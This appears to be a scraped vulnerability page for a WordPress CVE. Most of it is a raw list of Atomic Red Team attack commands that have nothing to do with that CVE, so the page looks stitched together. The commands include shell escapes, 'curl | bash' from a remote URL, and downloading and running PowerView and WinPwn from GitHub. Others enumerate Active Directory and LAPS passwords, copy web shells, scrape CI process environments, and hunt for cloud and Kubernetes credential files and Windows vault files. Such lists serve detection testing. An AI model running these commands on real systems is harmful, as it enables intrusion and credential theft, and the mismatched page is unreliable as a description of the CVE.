echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-63030 |
| github.com |
GitHub CVE
vdb-entry
technical-description
|
https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q |
| wordpress.org |
GitHub CVE
release-notes
vendor-advisory
|
https://wordpress.org/news/2026/07/wordpress-7-0-2-release/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63030 |